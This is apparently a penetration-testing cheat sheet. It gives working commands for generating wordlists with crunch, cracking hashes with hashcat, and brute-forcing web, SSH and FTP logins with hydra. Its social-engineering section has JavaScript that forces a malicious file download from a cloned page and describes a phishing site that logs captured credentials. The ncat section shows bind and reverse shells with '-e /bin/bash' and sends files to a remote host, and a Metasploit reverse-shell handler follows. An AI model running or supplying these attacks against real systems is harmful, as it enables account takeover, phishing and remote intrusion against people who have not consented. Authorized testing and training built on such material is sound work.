You can find a bunch of wordlists in SecLists.
- gchq.github.io/CyberChef
- onlinehashcrack.com
- hashkiller.io/listmanager (has many other tools)
- hashes.com/en/decrypt/hash (has many other tools)
- crackstation.net
- weakpass.com/wordlist (lots of password dumps)
- packetstormsecurity.com/Crackers/wordlists
Generate a lower-alpha-numeric wordlist:
crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt
You can see the list of all available charsets or add your own in charset.lst
located at /usr/share/crunch/
directory.
Generate all the possible permutations for specified words:
crunch -o crunch_wordlist.txt -p admin 123 \!\"
crunch -o crunch_wordlist.txt -q words.txt
Generate all the possible combinations for a specified charset:
crunch 4 6 -o crunch_wordlist.txt -p admin123\!\"
Option | Description |
---|---|
-d | Limits the number of consecutive characters |
-f | Specifies a character set from a file |
-i | Inverts the output |
-l | When you use the -t option this option tells crunch which symbols should be treated as literals |
-o | Specifies the file to write the output to |
-p | Tells crunch to generate/permute words that don't have repeating characters |
-q | Tells crunch to read a file and permute what is read |
-r | Tells crunch to resume generate words from where it left off, -r only works if you use -o |
-s | Specifies a starting string |
-t | Specifies a pattern |
Placeholder | Description |
---|---|
@ | Lower case characters |
, | Upper case characters |
% | Numbers |
^ | Symbols |
Unfortunately, there is no placeholder ranging from lowercase-alpha to symbols.
Generate all the possible combinations for a specified placeholder:
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^
crunch 10 10 + + 123456 \!\" -o crunch_wordlist.txt -t admin@@%^^
crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa
To identify a hash type, run the following tool:
hash-identifier
Brute force MD5 hashes:
hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Brute force NetNTLMv1 hashes:
hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Use --session=<session_name>
so that you can continue your cracking progress later on with --restore
.
Continue cracking progress:
hashcat --session=cracking --restore
Option | Description |
---|---|
-m | Hash-type, see references below |
-a | Attack-mode, see references below |
--force | Ignore warnings |
--runtime | Abort session after X seconds of runtime |
--status | Enable automatic update of the status screen |
-o | Define outfile for recovered hash |
--show | Show cracked passwords found in potfile |
--session | Define specific session name |
--restore | Restore session from --session |
--restore-file-path | Specific path to restore file |
-O | Enable optimized kernels (limits password length) |
-1 | User-defined charset ?1 |
-2 | User-defined charset ?2 |
-3 | User-defined charset ?3 |
-4 | User-defined charset ?4 |
When specifying a user-defined charset, escape ?
with another ?
(i.e. use ??
instead of \?
).
Hash Type | Description |
---|---|
0 | MD5 |
100 | SHA1 |
1400 | SHA256 |
1700 | SHA512 |
200 | MySQL323 |
300 | MySQL4.1/MySQL5 |
1000 | NTLM |
5500 | NetNTLMv1-VANILLA / NetNTLMv1-ESS |
5600 | NetNTLMv2 |
2500 | WPA/WPA2 |
16800 | WPA-PMKID-PBKDF2 |
For more hash types read the manual.
Attack Mode | Name |
---|---|
0 | Straight |
1 | Combination |
2 | Toggle Case |
3 | Brute Force |
4 | Permutation |
5 | Table Lookup |
8 | Prince |
Charset | Description |
---|---|
?l | abcdefghijklmnopqrstuvwxyz |
?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
?d | 0123456789 |
?s | !"#$%&'()*+,-./:;<=>?@[]^_`{|}~ |
?a | ?l?u?d?s |
?b | 0x00 - 0xff |
Dictionary attack:
hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt
hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt
You can find rockyou.txt
wordlist in SecLists.
Brute force a hash with a specified placeholder:
hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2
hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 \!\"\#\$\%\&\/\(\)\=??\* -2 ?d?1 ?u?l?l?l?l?2?2?2
Crack an HTTP POST web form login:
hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'
When cracking a web form login, you must specify Login=Login:<expected_message>
to distinguish between a successful login and a failed one. Each expected message can vary between web forms.
Keep in mind that the username
and password
request parameters can be named differently.
Crack a Secure Shell login:
hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh
You can find a bunch of wordlists in SecLists.
Option | Description |
---|---|
-R | Restore a previous aborted/crashed session |
-S | Perform an SSL connect |
-O | Use old SSL v2 and v3 |
-s | If the service is on a different default port, define it here |
-l | Login with a login name |
-L | Load several logins from a file |
-p | Login with a password |
-P | Load several passwords from a file |
-x | Password brute force generation (MIN:MAX:CHARSET), type "-x -h" to get help |
-y | Disable use of symbols in bruteforce |
-e | Try "n" null password, "s" login as pass and/or "r" reversed login |
-o | Write found login/password pairs to a file instead of stdout |
-f/-F | Exit when a login/pass pair is found (-f per host, -F global) |
-M | List of servers to attack, one entry per line, ':' to specify port |
Supported Services |
---|
ftp[s] |
http[s]-{get|post}-form |
mysql |
smb |
smtp[s] |
snmp |
ssh |
telnet[s] |
vnc |
For more supported services read the manual.
Brute Force Syntax | Description |
---|---|
MIN | Minimum number of characters in the password |
MAX | Maximum number of characters in the password |
CHARSET | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation |
Brute force attack:
hydra -o hydra_results.txt -l admin -x 4:4:aA1\!\"\#\$\% 192.168.8.5 ftp
After you have collected enough usernames from reconnaissance phase, it is time to try and crack some of them.
Find out how to generate a good password spraying wordlist from my other project, but first you will need a few good keywords that describe your target.
Such keywords can be a company name, abbreviations, words that describe your target's services, products, etc.
After you generate the wordlist, use it with tools such as Hydra, Burp Suite Intruder, etc. to crack web login forms. P.S. Hydra can attack authentication mechanisms on all kinds of services/ports.
If strong password policy is enforced, passwords usually start with one capitalized word followed by a few digits and one special character at the end (e.g. Password123!).
You can also use the generated wordlist with hashcat, e.g. to crack NTLMv2 hashes that you have collected using LLMNR responder, etc.
Find out how to embed a PowerShell script into an MS Word document from my other project.
To force users to download a malicious file, copy and paste this JavaScript code block on a cloned web page:
function download(url, type, name, method) {
var req = new XMLHttpRequest();
req.open(method, url, true);
req.responseType = 'blob';
req.onload = function() {
var blob = new Blob([req.response], { type: type })
var isIE = false || !!document.documentMode;
if (isIE) {
// IE doesn't allow using a blob object directly as link
// instead it is necessary to use msSaveOrOpenBlob()
if (window.navigator && window.navigator.msSaveOrOpenBlob) {
window.navigator.msSaveOrOpenBlob(blob, name);
}
} else {
var anchor = document.createElement('a');
anchor.href = window.URL.createObjectURL(blob);
anchor.download = name;
anchor.click();
// in Firefox it is necessary to delay revoking the ObjectURL
setTimeout(function() {
window.URL.revokeObjectURL(anchor);
anchor.remove();
}, 250);
}
};
req.send();
}
// specify your file here, use only an absolute URL
download('http://localhost/files/pentest.pdf', 'application/pdf', 'pentest.pdf', 'GET');
// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');
To try it out, copy all the content from \social_engineering\driveby_download\ to your server's web root directory (e.g. to \xampp\htdocs\ on XAMPP), and navigate to the web page with your preferred web browser.
To try it out, copy all the content from \social_engineering\phishing_website\ to your server's web root directory (e.g. to \xampp\htdocs\ on XAMPP), and navigate to the web page with your preferred web browser.
Captured credentials will be stored in \social_engineering\phishing_website\logs\credentials.log.
Figure 2 - Phishing Website
Read the comments in \social_engineering\phishing_website\index.php to get a better understanding on how all of it works.
You can modify and expand this template to your liking. You have everything that needs to get you started.
You can easily customize CSS to make it look more like the company you are testing, e.g. change colors, logo, etc.
Check the standalone redirect templates in \social_engineering\phishing_website\redirects\ directory.
Use SingleFile (Chrome)(FireFox) browser extension to download a web page as a single HTML file, then, rename the file to index.php
.
Here you can find a bunch of random stuff.
- jsonlint.com
- base64decode.org
- urldecoder.org
- raikia.com/tool-powershell-encoder
- bitly.com (URL shortener)
- getcreditcardnumbers.com (dummy credit card info)
Download a file:
curl somesite.com/somefile.txt -o somefile.txt
Upload a file:
curl somesite.com/uploads/ -T somefile.txt
Find out how to test a web server for various HTTP methods and method overrides from my other project.
Option | Description |
---|---|
-d | Sends the specified data in a POST request to the HTTP server |
-H | Extra header to include in the request when sending HTTP to a server |
-i | Include the HTTP response headers in the output |
-k | Proceed and operate server connections otherwise considered insecure |
-o | Write to file instead of stdout |
-T | Transfers the specified local file to the remote URL, same as PUT method |
-v | Make the operation more talkative |
-x | Use the specified proxy ([protocol://]host[:port]) |
-X | Specifies a custom request method to use when communicating with the HTTP server |
[Server] Set up a listener:
ncat -nvlp 9000
ncat -nvlp 9000 > received_data.txt
ncat -nvlp 9000 -e /bin/bash
ncat -nvlp 9000 -e /bin/bash --ssl
ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem
ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OK\r\n\r\n"
[Client] Connect to a remote host:
ncat -nv 192.168.8.5 9000
ncat -nv 192.168.8.5 9000 < sent_data.txt
ncat -nv 192.168.8.5 9000 -e /bin/bash
ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl
ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem
Check if it is possible to connect to a specified TCP port (e.g. port 22 or 23):
for i in {0..255}; do ncat -nv "192.168.8.${i}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done
for ip in $(cat ips.txt); do ncat -nv "${ip}" 9000 -w 2 -z 2>&1 | grep -Po '(?<=Connected\ to\ )[^\s]+(?=\.)'; done
Find out how to create an SSL/TLS certificate from my other project.
Set up a listener (change the PAYLOAD, LHOST, and LPORT as necessary):
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit
Use ngrok to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns.
I advise you not to transfer any sensitive data over it, just in case.
Credits to the authors!